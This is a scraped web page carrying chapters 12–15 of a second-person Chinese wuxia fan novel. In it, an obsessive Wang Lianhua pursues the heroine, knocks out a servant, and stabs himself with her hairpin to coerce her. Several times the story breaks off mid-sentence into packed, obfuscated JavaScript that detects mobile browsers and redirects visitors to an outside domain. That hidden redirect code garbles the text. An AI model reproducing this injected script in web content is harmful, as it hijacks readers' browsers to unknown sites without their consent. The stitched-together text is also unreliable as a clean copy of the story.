“叔叔,你为什么不笑,是不好笑吗?” 那人便强笑道:“你表哥说的不错,你真是个顽皮淘气的孩子。不过,你可不该给我开这种玩笑,若成真了,你便真要同我一起去西方极乐世界玩耍了~” 他一双微挑的狐狸眼望着你,皱眉叹息,摆出了典型的老中医愁苦的表情:“小家伙,你的病已经深入肺部,若不治,必死无疑,可这天下能治你的人不超过五根手指头。” 他说到这里,一副“你没救了”的样子,按照普通情况,这时你就应该惊疑不定地询问他是否有良方了。可你拦住了着急的李寻欢,没有搭腔。 于是气氛忽然就诡异地沉默下来。 过了一会儿,那人脸都被风刮红了,他给了自己一个台阶下,他说:“不过你命不该绝,遇见了心情好的本公子,你的病只有我能治。” …… 你从王怜花那深潭似的目光中回过神,恍然大悟地对王怜花道:“你就是十几年前救了我的神医!” 12. 第 12 章 王怜花脸上的笑容骤然凝固,原先优雅的笑容好像冰封的湖面裂开细纹。 他眉峰压紧,手指无意识地攥紧折扇,这折扇同当年的并不是同一把,翡翠扇骨发出细微的脆响,他的指节泛着青白色。 他表情比方才更加复杂:不解、迷茫、恍然、错愕……像是被命运戏弄过的人。他怔怔地看着你,连声说了好几遍:“难怪、难怪……” 他喃喃着向前一步,绯色的衣摆扫落案上的茶盏,瓷片崩裂的脆响中,他突然仰头大笑,笑声中藏着几分释然,也夹杂着难以名状的苦涩。 他眼尾胭脂般的红愈发鲜艳,像是要把曾经过往的执念笑尽:“原来如此!原来如此!” 你被他这突如其来的癫狂模样吓了一跳,心中不由得升起一丝怜悯。 记忆中的他,虽然时而任性恣意,时而见风使舵,但那份洒脱与俊逸,也曾在你病苦中点燃一抹亮色。可如今他却仿佛被某种执念纠缠,得了这种“失心疯”。 于是过往的得罪在你心中悄然淡去,只留下他对你的那份恩情。 你抿了抿唇,对他恭敬地欠身一礼,试图强调感激,用礼数划开距离:“多谢当年您的救命之恩,您的大恩大德,我……” 话没有说完,王怜花已快步上前,双手稳稳托住你的双臂,深情地看着你:“你我之间,无需如此客套,更何况……你也曾给予我无可替代的温暖,之后,更是对我有恩。” 难道当初没将他推下山崖,就是对他的恩了吗?见他这般郑重其事的模样,倒真像是欠了你一条命似的。 王怜花嘴角勾起一抹温柔的弧度,一改方才坍塌过世界观的模样,仿佛穿越了时空,凝视着心中那份难以割舍的情愫,仿佛透过你在看一个他极喜欢的人。 “这些年,你过得可好?咳嗽是否已痊愈?你可能不信,我找寻你许久,以为你是故意躲着我……未曾想,我们早已在命运的洪流中重逢过。错位的时间里,我们彼此都不知道,可你还是救过我,我也还是救过你。哈哈,这是怎样的缘分呢?” 此刻的他不像狡黠的狐狸,反倒像一只渴望被关注的狗狗,眼神中满是依赖与不舍。 你被你自己的想法给恶寒了一瞬,忙抽出手臂,生硬地问道:“所以前辈这次来,所谓何事?” “别叫我前辈,叫我小花就好,你若不习惯,那就直呼我名字。”王怜花的目光紧紧锁定在你身上,笑的温暖而执着,“我本有要事要托付与你表哥,如今看来,已无必要。” 说着,他从怀中取出一根玉簪,簪身温润如羊脂,光滑细腻,簪头雕刻着并蒂莲,花瓣的纹理透着丝丝霞红,精巧极了。 王怜花似乎想亲手为你插上簪子,见你欲后撤步的情况下,他顿了顿,转而轻轻递到你面前:“物归原主。” “太贵重了,我不能要。” 你说着,同时对你身后的管事挤眉弄眼地使眼色,示意他:“这人脑子有病!” 这满面虬髭的管事立刻理解了你的意思,他讪讪一笑,解围道:“收下吧,小姐。许是王老爷听闻您和少爷的婚期将至,特意前来贺喜的。您说他是您的救命恩人,不如婚期那日就请王老爷坐上长辈席位,为您二人……” “咔嗒——” 王怜花手中的簪子掉落在了地上,奇异的是,那簪子却未被摔碎,咕噜噜地滚到你的脚边,不由得让你想带口音吐槽一句:“簪(真)坚强。” 你被自己的幽默给冷到一笑,因而忽略了王怜花的神色。 你将簪子捡起来,想要递还给王怜花,抬头时却见他的脸色阴沉得骇人,那双幽深的眸子寒意逼人,露出扭曲的妒火和痛楚。 他猛然握住你的手:“你……你要成婚了?那男人是谁?是李寻欢么?” 不等你回答,他已自行断定:“是了,定然是他的,十年前你们便亲密无间。可是你们不可成婚!我不允许!” 最后那几个字近乎是咬牙挤出的破碎音节,你愣了愣,抓住了他话语中的关键词,脑子一抽,不知怎的就科普道:“为什么不可以?我们已出旁支三代,不算近亲。大不了以后不生孩子就是了。” 你看了一眼管事的,只见他在一旁皱着五官,上演“痛苦面具”,察觉到你的眼神,他欲言又止,随后顺着你的意思证明:“……啊是的,小姐的父亲是夫人的表弟,是在三代之外的。” “我和她说话,还不需要旁人插嘴!” 王怜花胸膛剧烈起伏,唇色因妒恨发白,他忽然出手一掌,直接将你身后的管事给击晕了过去。 你愣住了,心中涌动着愧疚、共情与难以抑制的吐槽欲。你觉得你若是此时这位络腮胡子的管事,一定会抠出一个问号来:不是?为什么好端端地要牵扯旁人啊? 还好这位管事练的是铁布衫,否则王怜花那一掌下去,恐怕就不是击晕过去那么简单。 你的神色瞬间冷了下来,手中的簪子轻轻一转,尖锐的簪头已对准了王怜花的脖子:“前辈似乎对我的事意见很大吗?我再三容忍你,是因为你终究是救过我,让我得以活到今日,可这不代表我没脾气。莫要忘记,我小时候能治的了你,现在就不可以了吗?” “……” 王怜花仿佛被你的话语刺痛,受伤地看着你,眼神中满是指控和委屈:“你……你从来都是能治得了我的。” “别再说这么恶心的话!正常一点!” 他的神情更受伤了,你不耐烦地撇看眼不去看他的死样子,然而就在你转头的瞬间,却忽然感觉手中的簪头抵住了什么。 你回过头,只见这人正一步步逼近,簪子已经刺破了他脖颈的肌肤,鲜红的血珠顺着伤口缓缓流下。 “你疯了吗?”你惊呼道。 “你不信我,我只是证明给你看罢了……你还不信吗?”他看着你,将自己的脖子更加用力地抵上簪子,仿佛丝毫不在意那正在流血的伤口。 你睁大了眼睛,下意识地后撤,没想到他步步紧逼,直到你退无可退,你的后背抵上了冰凉的廊柱。 随着他的靠近,你闻到了他身上幽幽的香味,不知是否是你的错觉,这香味闻久了却让人有些眩晕,让你想到了曼陀罗花。 你见他的眼神疯感十足,很害怕他就这样诡异地死在你面前,不由得放下了簪子。 王怜花咧嘴笑了,没有顾及脖子的伤口:“我就知你舍不得,你一向心善,不喜见血。” “那是因为你罪不致死,我只需要把你打晕成他那个样子,又没有要你的性命!”你反驳道,随即屈膝猛地朝他腰腹一顶,却被他早有预料般扣住膝弯。 他俯身贴近你,长发垂落,有几缕扫过你的颈侧,激得你那块肌肤不由得起了粟子。 “这招数太老套了,阿音,十年前是我和你们戏耍才不慎落败,你以为今日你还能……” “砰!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988559|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而,他的话未说完,你的头便猛的一撞他的头。在他手松开你膝弯的一瞬间,你已经高屈膝一踹,将他踹了开去。他倒退几步,吃痛地按住了着头。 你则忍着没在他面前示弱,挺直着身板没有去摸头一下,一副硬女子的模样。他有些心疼地问你:“你不疼么?还是你宁愿疼,也要将我推开?” 你做了一个制止的手势,提醒他闭嘴听你说:“我与我未婚夫两情相悦,誓要共度此生,你如今不要搁这里又唱又跳的,徒惹人厌烦。你若是有心贺喜,我承你好意,你若是存心来找麻烦,我只会用武力解决问题了。” 随着你的话语,他原本有心缓和的脸色再次阴沉,他最后冷笑出声:“共度此生?除非我死,否则他休想和你在一起!我不怕你厌憎我,哪怕你今日杀了我,我也只恨为什么我舍不得拖着你和我一起陪葬!” 阿西……他是个死病娇吗?! 你心中骂出一句脏话,但你并没有就怕了他:“你用不着拿生命威胁我,那太偏激幼稚了,大家都是成年人,没有什么不能好好沟通的。我们现在的矛盾已经很明显了,可是感情这种事岂能强求?你说个条件吧,怎样才能不在这里无理取闹?” “你不必同我讲道理,我已经放手过一次,这一次,我不会再放手了。”他固执地说道。 你对他的厚脸皮很不齿,你翻了个白眼。但下一刻,你灵光一闪,噗嗤一声笑道:“啊~我知道了!” 你看着他:“你当初没有把握住你的白月光,如今老了想挽回了,就从我身上弥补?可你有没有想过,哪怕你现在再死缠烂打,错过的就是错过了。别说你这样我只会更讨厌你,哪怕我朝三暮四被你给gou引过去,真正爱你的也另有其人啊,你不还是对不起你的白月光,给她造成第二次伤害?” 你看着沉默的王怜花,很奇怪地问:“你好可怜啊,你难道找不到彼此都是最爱对方的时间么?你没有两情相悦的人么?” 你的阴阳怪气让他脸色一白,随后他摇摇头:“你不懂。你如果和我朝夕相伴,你会真心爱我的。” “呕。” 你yue了一声以表对他自信的敬意,他被你逗笑了:“你为什么不试试呢?我们打一个赌,你给我三天时间陪伴你,我会证明这一切。三天后如果你还坚持要成婚,我便尊重你的决定,从此不再纠缠。” 他能做出这样的让步,的确叫你松了一口气,但是—— “不要。” 你知道你自己,你不是什么专情的人,而感情是最经不起诱惑的。你不想给自己和王怜花留下任何余地。 王怜花的脸色比刚才更加苍白了,他紧紧握住拳头,像是压抑着翻滚的偏执,他苦涩地凝视着你:“你做事,素来这般绝情么?” “拒绝就是拒绝,若真的让你浪费三天时间才叫残忍呢。” 你叹了一口气,认真地告诉他:“王怜花,未来是美好的,你总会找到属于你的幸福,不必执着于眼前的得不到。” 他反问你道:“你让我再次放手,可我倒要问你,你为什么不放手?那姓李的小子就这么好?比我更好?” 你愣了愣,恍惚间很久很久以前,你也问过一个男人类似的问题。那时他郑重地告知你说:“……她不好,你是很好的很好的,你不用同她比。可是这一事,从来不是看人好不好的。”① 这一刻,你的声音和他的声音仿佛合在了一起。 13.第 13 章 后来,王怜花与你的言辞间似乎平衡了某种妥协,尽管他仍然坚持道:“我还会回来的。” 他的语气中仍然带有一丝不甘,却也留有缓和期许的余地。 就在他要转身离去的那一刻,你叫住了他。他便猛的回头,目光中闪烁着惊喜,仿佛只为这一刻,所有的恩怨和隔阂都能烟消云散。 然而你只是轻轻扭了扭脖子,转了转手腕,指了指地上昏迷的管事道:“这一账还没有算明白呢,你不打算给个说法吗?” 王怜花的眼神瞬间黯淡下去,他落寞地垂了眸子,随后又勉强勾起一抹极淡的笑,笑意间藏着无尽的苦涩与无奈:“我知你现在讨厌我,你要替你的家仆讨公道。只是你若将我打晕了,岂不是还要费心将我拖出去?当然,你若愿意叫我晕倒在你身侧不动,我是一万个乐意的。” 你被他这番话噎得半晌无语,心中涌起一股莫名的烦躁,你甚至不敢轻易对他动手,生怕倒如了他愿,让他爽到。 他看着你无语的样子,轻笑一声,缓缓上前几步,突然握住了你那簪子的手。你眉头一皱,以为他是要占你便宜,正欲挣脱,却被他用力一拽—— “噗嗤”! 手中的簪子就这样深深被送入他的身体,扎在了他心口附近。 这突如其来的一下让你瞪大了眼睛,震惊地说不出话来,实在是生平第一次见到比你更疯、更不要命的人。你感觉浑身发冷,手脚发软,几乎要站不稳。 等你度过了“卡顿”的那一片段时,他左手的手臂已经搭在你的肩膀上,你单手扶住他摇摇欲坠的身体,另一只手紧紧捂住了他的伤口,血腥味从你的掌心下蔓延,混合着曼陀罗花的香,令人窒息。 你心乱如麻,而他声音虚弱,却有心说笑:“你……舍不得我。” 他任由鲜血淋漓,竟就着这个姿势单手将你紧紧拥住,鼻尖轻蹭你脖侧的碎发。 你听见他胸膛里癫狂的心跳,他的右手死死抓着你捂住他伤口的手,指腹摩挲着你腕间跳动的脉搏,温热的鼻息喷洒在你脸颊旁:“你看,你剑锋偏三寸的习惯都没有变。” 你又急又怒:“若不是情急之中我反应快,你就真死了!” 王怜花的唇已经变得苍白如纸,冷汗在他的额头上滑落,他一字一句道:“我在赌……可我信你。” 你还要说什么,却被他轻轻地嘘了一声,他艰难地开口,眸光中已有泪意:“我只想告诉你……你若讨厌我,不用你动手,我也会替你教训我……所以你能不能,不要将我推开?” 你闭上了眼睛,深吸一口气,将心中那乱糟糟的情绪安抚下去。当你再次睁开眼睛时,你已经能够克制又冷静地看着他。 你告诉他:“我天生反骨,你在说这句话的时候,我便视作威胁,很想将你推开的。我不这么做,只是我出于人道,不敢这般对一个病患。你说我习惯剑偏三寸,是因为我对任何人的生死都在乎,今日换作任何一个疯子做这种事,只要他罪不致死,我都不会轻易推开他。” 你紧锁着眉头同他强调:“王怜花,你无需拿自己的性命去证明你和他人一样的地位。所有人的生命都一样宝贵,不该被如此轻视。” 他呆呆地看着你,随后惨淡地笑了,泪意同笑一道在他脸上交织,仿若破碎的琉璃:“阿音……你真绝情。可你不知道,你越决绝,我便越想得到你的爱意……只因你越吝啬给予,它就越弥足珍贵。” 你不得不承认,男人最好的医美是破碎感。他的美丽、脆弱与坚韧在这一刻淋漓尽致地展现在你面前,他将性命交予你,你掌握着他的生、他的死。 尽管这一刻他说出这么死皮赖脸的话,可你岌岌可危的怒气值还是在他带泪的面庞前一点点消散。 然而,你还是松了手,你叹了口气道:“你会医术,就不要再在我面前逞口舌了,赶紧救救自己吧,大哥。” 他嗔怨地看着你,随后慢慢地直起身,在你惊讶的目光中,他咬牙忍着痛呼硬生生将簪子拔出。 那带血的玉簪被递到你面前:“你就当……是贺礼。可你,敢戴吗?” 你微微皱眉,但还是接过了那簪子,刻意冷淡地说道:“有什么不敢的。就当是我欠你的,我会一直戴着它,现在你满意了吗?” 你吃激将法,更知道在他面前,你不可退却让步,流露出哪怕一丝丝心软都将被他视作进攻的机会。 他沉默地看着你,仿佛在这一刻了却了一件心事,又像是被伤得更深。最终,他捂着胸口转身离去,脚步踉跄而坚定。 那背影在夜色中显得格外纤弱、可怜,好像下一刻就会体力不支而倒地。 可你没有挽留也没有送行,只是叫了学生远远地跟出去,以免他真的遇到不测。自己则走到管事的面前蹲着,静静地等他醒来。 * 后来,王怜花仿佛在你的世界中凭空消失,他好像蛰伏起来舔舐伤口的野兽,藏匿起痕迹,不叫人发现他的行踪。 直到你遇到了林仙儿,她救了你的那夜——你受了伤。回到李园后,你意外地在房间的窗台上发现了一个精致的药瓶,边上留着一封带着曼陀罗花香的信笺,上面没有留名,只很简单地写了药物的使用方法。 你收下了这些东西,在窗台上留下了金银。不是你没有骨气,只因你的伤口虽小却很疼,而你知道他的药很管用。 第二日,你见到窗台上的金银不见了,你方才肯用药。药效奇佳,伤口很快不再疼痛,只是身上会带着一股和他一样的香味——好闻是好闻,但总感觉怪怪的。 再然后,便是现在,王怜花又来到了李园。 清风拂过,他一袭飘逸的绯衣,脚踏云纹锦靴,手持的折扇换成了润泽的带节紫竹材质的。他看上去比第一次见面时更清瘦了,然而神采奕奕,容貌更是姣好如初,仿佛又恢复了多年前初见的那一面:风流倜傥,洒脱又不羁。 午后的阳光明媚,金色的光泽投入厅前,照耀在他身上,为他平添了几分温和的气质。 “阿音,别来无恙?”王怜花的声音清澈而有磁性,仿佛山间清泉溅起的水花。 “唉,”你目光与他相遇,内心五味杂陈,你叹了口气,淡淡道,“新年好,王怜花。” 王怜花似乎没有看出你的倦怠和疏离,仍旧是笑眯眯地看向你,仿佛有什么好消息一般藏不住地想和你分享。 他正欲开口,然而视线流转,见到你身后的林仙儿时,笑容微微收敛,轻轻道:“许久不见,阿音身边又换了些人。阿音,我有新消息急于告知你,更想与你细细道来,不知可否请你身后这位姑娘避让一二,以免有所不便?” 言罢,他以一种既礼貌又不失坚决的眼神望向林仙儿,似乎在无声请求她的理解。接着,他补充道:“当然,仙儿姑娘若是不介意,也可一同聆听。只是有些话语,或许更适合旧友间私下分享,希望姑娘能体谅则个。” 林仙儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990623|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,眸光微闪,看向你道:“姐姐,我在这里,打扰您二位了么?” 你给她了一个安抚的眼神:“乖,你去练剑吧,我一会儿就来找你。” 主要林仙儿在的话你也不好用言语得罪王怜花,到时候一不小心她被迁怒打晕,醒来后哭唧唧的样子也实在可怜。不给她报仇吧,她不开心,给她报仇吧,你的心脏受不了。 “唉。”你忽然又叹了口气,你觉得有些心累。 “好吧,我不让姐姐为难。”林仙儿似乎看懂了你的心思,没有生气,只是甜甜对你一笑,“姐姐是为我好,我懂得。我就在后院,若是这位老前辈有什么需要,叫我就好。” 她后面那句话,是笑着对王怜花说的。 王怜花亦笑盈盈地对她点点头:“多谢仙儿姑娘挂怀,我应是不需要的。” 林仙儿略有不甘地看了你们一眼,终究是明白了你二人的意思,于是微微欠身:“那我便去了,二位旧友慢叙。” 她说“旧友”时的语气古怪,好像带着几丝嘲讽和不屑。 林仙儿一走,王怜花便对你道:“阿音,你的这位仙儿妹妹心思颇深,你单纯善良,我怕你会被她蒙蔽。” 他们两个真有意思,都爱背着对方互相“提醒”你。你怀疑他们才是旧友,而非第一次见面的关系。 你用万金油话术敷衍道:“还是个孩子呢,活泼机灵多可爱啊。” 王怜花似乎不满意你的回答,又问道:“看样子,你在教她练剑?” “是。”你随口应了。 王怜花好像为你担忧,挑眉时满是对林仙儿的戒备与不信任:“你就不怕她学成后,会伤了你?” “她学了,伤不了我;可不学,世人伤她。” 王怜花闻言,一时语塞。你看着他,道:“你来找我,应该不是要扯这些有的没的吧?” 王怜花苦涩一笑:“你对她那么迁就宽容,对我却这般冷硬绝情,阿音,你好狠的心啊。” 你立刻搓了搓胳膊上的鸡皮疙瘩,应激地转身要走:“大哥,聊不来别硬聊啊。” 王怜花急忙叫住你:“慢着,你便不好奇我有什么消息要告知与你?” “总不至于是《怜花宝鉴》在李园的具体位置吧?”你反讽道,“若非我前些日子去茶楼听书,我倒不知你当日给了我这种好东西。” 王怜花连忙解释道:“你莫要担心此事会给你带来危险,我已派人在李园周围护好你的安全。” 你气势汹汹地转身,目光如炬:“我不是担心这个,只是你何苦用谎言来给我找麻烦呢?” “这不是谎言,我真将我多年所学的秘籍全交与你了。”王怜花恳切道,“何况我本意不是给你找麻烦,阿音,我不过是想看看李寻欢值不值得你托付终身。” “哈?”你气极反笑,随后你目光一凛,“你……是你伤了李寻欢么?” 你想到了昨夜李寻欢在雪地里为你拾起披风的姿势,他弯腰时肩胛骨处明显不敢用力。 后来你悄悄偷看了他换药,那道横贯他后背的伤口像条巨大的蜈蚣,新痂叠旧痂的皮肉旁是不愈的血迹。若非中了毒,那伤口本不该到如今还在流血。 王怜花连忙否认道:“我没有动手,阿音,我在你这里受了很严重的伤,这伤不仅是身上的,更是心里的。” 你冷笑一声:“你当然不必亲自动手!因为这世上的恶人会被宝鉴驱使,去做你手上的刀!” 14.第 14 章 你说完那句话的时候,气氛骤然一僵。 王怜花的眼眸中露出几分复杂的情绪,他缓缓靠近你,身体不自觉地萎靡起来,仿佛承载着难以言说的重担:“阿音,我深知你对我有诸多误解。但请你信我,我绝无伤害你之心,更不愿触及你所珍视之人。你所提及的事情,实属万般无奈下的抉择,而我,亦是受害者之一……” 他动听的嗓音带着几分哀伤,在上午的阳光下,投射在他睫毛下的阴影也仿佛成了落寞的代名词。 你对他的说辞始终持怀疑态度:“受害者?怕不是始作俑者?” 王怜花轻轻摇头,叹了一口气:“阿音,我初至李园,本是怀揣着满腔热忱期许,欲将毕生所学传授于李寻欢。我既选定他做我的传人,自然是肯定他的品行能力,才起了爱才之心,又怎么会伤害他呢?怎知我竟然在李园见到了你,你可知我那日见你有多欢喜,听闻你与他将成婚就有多难过!和你分别后,我承认我是嫉妒又痛恨,鬼迷心窍之下才将宝鉴在李寻欢手中的消息传出……但我很快便后悔了,虽然已经无力挽回,但我仍然不顾一切赶到关外为李寻欢挡下明枪暗箭,受了重伤,你看——” 说着,他缓缓松开了衣领,你倒想知道他在作什么妖,皱眉审视地看去: 于是阳光随着你的目光一道,顺着他线条流畅的颈部往下,让裸露在外的白皙的肌肤披上了一层淡淡的健康光泽。光泽之下,一道洁白的绷带紧紧缠绕在他的胸膛上,勾勒出紧实的肌肉轮廓,那并不夸张,于刚毅中又不失一种柔和的美感。这份美感在绷带的掩映下,增添了几分引人遐想的魅力。 这……不对吧?你心中暗自嘀咕,试图找回思绪。 不确定,再看看。 尽管衣物和绷带遮掩了大半的风光,但也是这份遮掩,让王怜花的身材更添了几分含蓄的意味。薄肌与绷带交织,形成了一种独特的视觉冲击力,让人不禁想要窥探更多,却又害怕破坏了这份恰到好处的神秘感…… 话说回来,你是看什么来着的?肌肉……不是,伤口呢?都被绷带盖住了啊! 你的耳边传来王怜花幽幽的声音:“伤,总会好的。但心中的痛,却难以愈合。阿音,你知道么?我从未想过,我也会为了一个女子,如此痛苦挣扎。” 王怜花仿佛没有在意你的视线,他修长的手触碰到心口的伤,轻声道:“你知道我心中的苦么?我虽身在江湖,却从未真正属于这里,我渴望的不过是一份真挚,一处港湾。但命运弄人,我越是追求,却越是失去。” 你晕乎乎地点点头,目光随着他的动作而动。 然而,就在这时,他像是才意识到自己的失态,迅速将衣襟重新拢好,苦笑着对你道:“即使这一切皆因李寻欢而起,我亦不愿责怪他,只因我知道……他心中有你。这份情谊,我亦能体会。但是阿音,你可曾想过,李寻欢对你的情谊是否真如我们所愿?你知道,龙啸云对你一直心怀觊觎?” 王怜花的声音低沉而有力,每个字都像是重重的锤,将你晕乎乎的心给敲醒,让你不得不正视眼前的问题。 “那又怎样?见色起意之人,自更懂知难而退。”你晃晃脑袋让自己清醒,你似是说龙啸云,亦是想要点醒王怜花,“有些人爱莲,想于缸中养莲,却受不了污泥和翻缸盘藕;有些男人爱慕幻想中的仙女,却不能接受女人放屁和如厕。叶公好龙,好的是似龙而非龙者,却尚有畏惧之心,可有的人呢?幻灭之后徒留厌憎与一地鸡毛。我也是常人,自然有让人受不了的缺点,现在对你们还算礼貌,到时候我发癫起来你们可真不一定受得了。” 王怜花闻言,眼中闪过一丝笑意,他脱口而出道:“阿音真是率真可爱。” “啧。”你闻言就是一个白眼。 失策了,你以为你已经说得够直白粗俗,此时倒说不定叫这厮误以为你是在欲擒故纵了。果然当时说话就应该屎尿屁齐飞,还是你的脸皮限制了你的发挥。 然而王怜花早已洞悉你的心思,他以一种温柔的口吻道:“我与那些浅薄之徒截然不同,粗鄙疏远不了我。你的种种模样,我早已尽收眼底。哪怕你偶然失足落入粪坑,我也会毫不犹豫地跳下去将你救上来,哪怕周身蝇虫环绕,我也会紧紧抱着你,走出那片污浊。” “好了,你不要说了。”你打断了他,只因听着他的描述你已经想象到了那副荒唐可怕的画面。 “其实我明白你的用意,你之所以想以恶言吓退追求者,不是因为在乎那些人能不能受得了你,而是你从不轻易将心交付于人。若你心中已经有了人选,哪怕世上有再多理由叫你们分开,你也是不会轻言放弃的。” 你挑了挑眉,这话倒是顺耳。 “阿音,人心隔肚皮,不到落入最难堪的境地,谁都不知道身边人会怎么选择。” 王怜花的眼神忽然变得深邃,好像要说一些不那么能说出口、却不得不说出的事。 他犹豫再三,你冷眼旁观,他才极为艰难道:“我本已祝福你、尊重你,我想要挽回自己的错误。可……你可知道今日清晨我有心想给李寻欢送药,却不料听到龙啸云请求李寻欢将你嫁给他。而李寻欢,他……他竟然犹豫了!” 王怜花的语气了里充满对李寻欢的鄙夷与失望:“我知道你与他感情深厚,因而他的优柔寡断才更叫我愤怒不解。他既不愿伤害兄弟情谊,又无法割舍对你的深情,这样的他是否值得你的信赖?” 他说完这句话,眉头紧锁,担忧地看着你,仿佛害怕你伤心、难过。 但你只是冷淡了神色:“值不值得不是你说了算的,我和他的事就不劳你费心了。” 和王怜花周旋半晌,你这才有了靴子落地的踏实感,他果然藏不住狐狸尾巴了——他这挑拨离间用得倒是娴熟极了。 王怜花这下失去了演技和伪装的力气,无论是恨铁不成钢的愤怒,还是错愕的神情,都那么短暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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王怜花在你犹豫间,就已经预知了你接下来的想法:“我知你心善,不爱牵连无辜。放心,我没有对他下死手,我只是需要他在一个安静的地方睡上一觉……” 似乎察觉这说法带了歧义,王怜花语塞一会儿,接着解释道:“字面意义的睡觉罢了——只是有点久……反正没死,也非永远昏迷。” 看他解释的手忙脚乱的样子,他大概也是知道你已看出他喜欢玩文字游戏的恶趣味。 “你是真不怕表哥找你麻烦啊。”你是知道李寻欢的手段的,“你伤害了他的救命恩人,他若要找你复仇,是一定能找到的。” “阿音这是……在关心我吗?” 难道你脸上的幸灾乐祸有这么不明显吗?! 在你厌烦他的油嘴滑舌之前,王怜花又是一笑:“他不会找到我的,因为——” 随着折扇打开,遮住了他的风流倜傥的面容,等折扇缓缓放下后,那张脸已经变了,变成了龙啸云的脸。 现在你总算知道,为什么王怜花让龙啸云“在一个安静的地方睡觉”了。 15.第 15 章 人在无语的时候是会笑的,你也是如此,你对王怜花道:“你倒是坦诚,就不怕我当面戳穿你?” “你不会这么做的,阿音,你性子中也有促狭的地方,我给了你这样一场好戏,你怎会忍住不看?” 他说这句话的时候,就像一只叼了蟑螂来主人床头送礼炫耀的得意猫猫,全然不顾这在人眼里是惊喜还是麻烦。 按理说,一个有较高道德和洁癖的人,本该是对此厌烦的。 可其实,你这个人吧,是那种嘴巴上说麻烦,实际上不仅不觉得麻烦,甚至愉悦到要去拍照发朋友圈的乐子人。 于是你战术性沉默,目光穿过王怜花深邃的眼眸,与他眼中的你相遇。他眸中的你,淡然自持,完美契合了你沉稳正直的人设。 可你自己知道,每当你和王怜花谈话时,你总有一种错觉,好像你最顽劣、最不加掩饰的性格被他投映了出来。他太懂你的恶趣味,你也欣赏他敢说敢做的性格,然而这种契合的相性突如其来又荒唐,仿佛你们早已是共谋无数恶作剧的老友,尽管实际上不过才见过两面。 你不由得想到了很久很久以前,你也曾对一个忘记你的人死缠烂打,故意引起他的情绪波动。你理解明明有过美好的回忆,却要和回忆中的人重新认识的痛苦和无奈。① 你沉默过后,第一次正视王怜花,眼神中多了几分认真:“我是不是应该认识你?只是我忘了。” 你很难形容王怜花此刻的表情,他一愣之后,神情是有些想哭,却又笑了的模样:“怎会突然有此一问?真叫人措手不及……” “我只想说,若是我忘了,是我不对。”你轻轻道。 你看着王怜花时,好像在看很久很久以前的自己,眸中不由多了些温柔又忧愁:“抱歉。” “……” 这次换王怜花沉默了,他想说什么,张口却只是轻轻舔了一下干涩的唇。他好像忘记如何言语,最终释怀一笑,然后才开口:“……这与你无关,你无需道歉。你本该不曾认识我的。” “是吗?” 你轻声问道,心中却泛起涟漪:你想起过去,你曾为了偿还一个人的恩情,等了百余年,寻找他的转世,却不料怎么也偿还不清楚——他不是最初的他,你,也仿佛不是最初的自己了。① 你到很久以后才明白,有些缘断了便断了,本不该强求的。 你轻轻一叹,以过来人的口吻道:“既然如此,不如放下过去。我听说你曾急着出海离开,是想寻找新的开始么?我在李园过得也很好,不论我们是否相识,此时都不必再互相打扰,你说呢?” 王怜花原本的笑容再次淡了下去,他直直地盯着你:“若我说,我不放下呢?” 你直面他的目光,语气冷淡又决绝:“那就随便你,只要你别打扰我、也不要伤害无辜,你做什么皆与我无关,那是表哥该头疼的事情。” 你抛下这句话便转身离去,没有回头,也没有再顾及王怜花的情绪。 你的步伐匆匆,因为想到从前,想到如今,想到这些人和那些事,你的心就乱了,乱的过程中似乎还带着阵阵痛意。你觉得关于这个世界的有些文字记忆正试图冲破束缚,却又被无形的力量紧紧束缚。 你走的太快,想法太杂,于是林仙儿的呼唤也没有听见。 回到房间,你紧紧关上门。你一边安抚着自己心,一遍来到书桌前研磨。 曾有人告诉过你,当心情繁乱时,研墨能让自己的思绪随着这些重复又温柔的动作逐渐平静,然后再提笔写下心中的忧愁,就能尽量理性地去解决它了。 随着你的动作,砚上干巴巴的摩擦声逐渐变得顺滑,那乌黑又水润的墨汁光泽中,你脑海中的片段文字也逐渐浮现:主角最后将所爱之人让给救命恩人,自己则离开家乡,终日饮酒消愁。 已知主角人设:咳嗽、武功高强、沉郁孤独、为情感所左右,在得知伤害了所爱之人后会终身与痛苦相伴,内心永远有一层悲哀……这,无疑是你的真实写照。 虽然你幼时也曾疑心过,可如今,你已深知自己的身份与命运:你自幼咳嗽缠身到差点死掉,现在还带着一点慢性咽炎的症状。关于武功,你虽不敢说是天下第一,却也自认是无敌手了。你在这个世界多年,却总觉得与此世有壁,偶尔也大有世人不懂你的孤寂之感,你只能将孤独系于笛声,闻者无不伤心落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 